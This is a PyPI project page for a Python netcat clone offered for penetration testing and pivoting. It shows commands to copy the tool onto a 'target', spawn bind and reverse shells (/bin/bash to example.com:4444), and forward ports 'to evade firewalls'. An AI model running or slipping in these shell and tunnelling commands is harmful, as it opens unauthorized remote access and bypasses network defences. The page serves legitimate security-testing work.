Skip to main content

Netcat with cmd exec, connect, listen and (local/remote) port-forwarding modes.

Project description

netcat.py

PyPI PyPI - Status PyPI - Python Version PyPI - Format PyPI - Implementation PyPI - License

Build Status Build Status Build Status

Dependency-less Python 2 and Python 3 compatible implementation of netcat which works on 32bit and 64bit systems to easily pivot your target.

Motivation

To have a single tool for older, newer, 32bit and 64bit machines with relevant options (-e. -L and -R) to create bind shells, local and remote port-forwards.

:tada: Install

pip install netcat

:coffee: TL;DR

Copy to target

# Copy base64 data to clipboard from where you have internet access
curl https://raw.githubusercontent.com/cytopia/netcat/master/bin/netcat.py | base64

# Paste it on the target machine
echo "<BASE64 STRING>" | base64 -d > netcat.py
chmod +x netcat.py

Summon shells

# bind shell
netcat.py -l -e '/bin/bash' 8080
# reverse shell
netcat.py -e '/bin/bash' example.com 4444

Port-forwarding without SSH

# Make local port available to public interface locally
netcat.py -L 127.0.0.1:3306 192.168.0.1 3306
# Remote port-forwarding to evade firewalls
netcat.py -R 127.0.0.1:3306 example.com 4444

:computer: Usage

usage: netcat.py [-Cnuv] [-e cmd] hostname port
       netcat.py [-Cnuv] [-e cmd] -l [hostname] port
       netcat.py [-Cnuv] -L addr:port [hostname] port
       netcat.py [-Cnuv] -R addr:port hostname port
       netcat.py -V, --version
       netcat.py -h, --help


Netcat implementation in Python with connect, listen and forward mode.

positional arguments:
  hostname              Address to listen, forward or connect to
  port                  Port to listen, forward or connect to

mode arguments:
  -l, --listen          Listen mode: Enable listen mode for inbound connects
  -L addr:port, --local addr:port
                        Local forward mode: Specify local <addr>:<port> to which traffic
                        should be forwarded to.
                        Netcat will listen locally (specified by hostname and port) and
                        forward all traffic to the specified value for -L/--local.
  -R addr:port, --remote addr:port
                        Remote forward mode: Specify local <addr>:<port> from which traffic
                        should be forwarded from.
                        Netcat will connect remotely (specified by hostname and port) and
                        for ward all traffic from the specified value for -R/--remote.

optional arguments:
  -e cmd, --exec cmd    Execute shell command. Only works with connect or listen mode.
  -C, --crlf            Send CRLF as line-endings (default: LF)
  -n, --nodns           Do not resolve DNS
  -u, --udp             UDP mode
  -v, --verbose         Be verbose and print info to stderr. Use -vv or -vvv for more verbosity.

misc arguments:
  -h, --help            Show this help message and exit
  -V, --version         Show version information and exit

examples:

  Create bind shell
    netcat.py -l -e '/bin/bash' 8080

  Create reverse shell
    netcat.py -e '/bin/bash' example.com 4444

  Local forward: Make localhost port available to another interface
    netcat.py -L 127.0.0.1:3306 192.168.0.1 3306

  Remote forward: Forward local port to remote server
    netcat.py -R 127.0.0.1:3306 example.com 4444

:lock: cytopia sec tools

Tool Category Language Description
smtp-user-enum Enumeration Python 2+3 SMTP users enumerator
urlbuster Enumeration Python 2+3 Mutable web directory fuzzer
netcat Pivoting Python 2+3 Cross-platform netcat
badchars Reverse Engineering Python 2+3 Badchar generator
fuzza Reverse Engineering Python 2+3 TCP fuzzing tool

:exclamation: Disclaimer

This tool may be used for legal purposes only. Users take full responsibility for any actions performed using this tool. The author accepts no liability for damage caused by this tool. If these terms are not acceptable to you, then do not use this tool.

:page_facing_up: License

MIT License

Copyright (c) 2020 cytopia

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

netcat-0.0.1a0.tar.gz (7.4 kB view details)

Uploaded Source

Built Distribution

netcat-0.0.1a0-py2.py3-none-any.whl (8.3 kB view details)

Uploaded Python 2 Python 3

File details

Details for the file netcat-0.0.1a0.tar.gz.

File metadata

  • Download URL: netcat-0.0.1a0.tar.gz
  • Upload date:
  • Size: 7.4 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/1.15.0 pkginfo/1.5.0.1 requests/2.23.0 setuptools/42.0.2 requests-toolbelt/0.9.1 tqdm/4.45.0 CPython/2.7.17

File hashes

Hashes for netcat-0.0.1a0.tar.gz
Algorithm Hash digest
SHA256 d43f5487d97c736b51523b882f29ccf63dad547b64e77f07aaf439091813d797
MD5 536d88404a6f13bee218d11f1cc8bd06
BLAKE2b-256 fa8f5b8cd45304213d94d32fd09b62ede25893afffa7e9ade57d2513dfba6fd0

See more details on using hashes here.

File details

Details for the file netcat-0.0.1a0-py2.py3-none-any.whl.

File metadata

  • Download URL: netcat-0.0.1a0-py2.py3-none-any.whl
  • Upload date:
  • Size: 8.3 kB
  • Tags: Python 2, Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/1.15.0 pkginfo/1.5.0.1 requests/2.23.0 setuptools/42.0.2 requests-toolbelt/0.9.1 tqdm/4.45.0 CPython/2.7.17

File hashes

Hashes for netcat-0.0.1a0-py2.py3-none-any.whl
Algorithm Hash digest
SHA256 7a056e1de18c97aa8a297a0bd7ee5cd45a70f55d3722a37efac55672164ea885
MD5 6c72ad2e8b9642bfdc435f96af3175bc
BLAKE2b-256 3811f8f1cbc910bfae9b17a4c3172349758cef3aef5847ae14a8f2e0536a0dec

See more details on using hashes here.

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Microsoft Microsoft PSF Sponsor Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page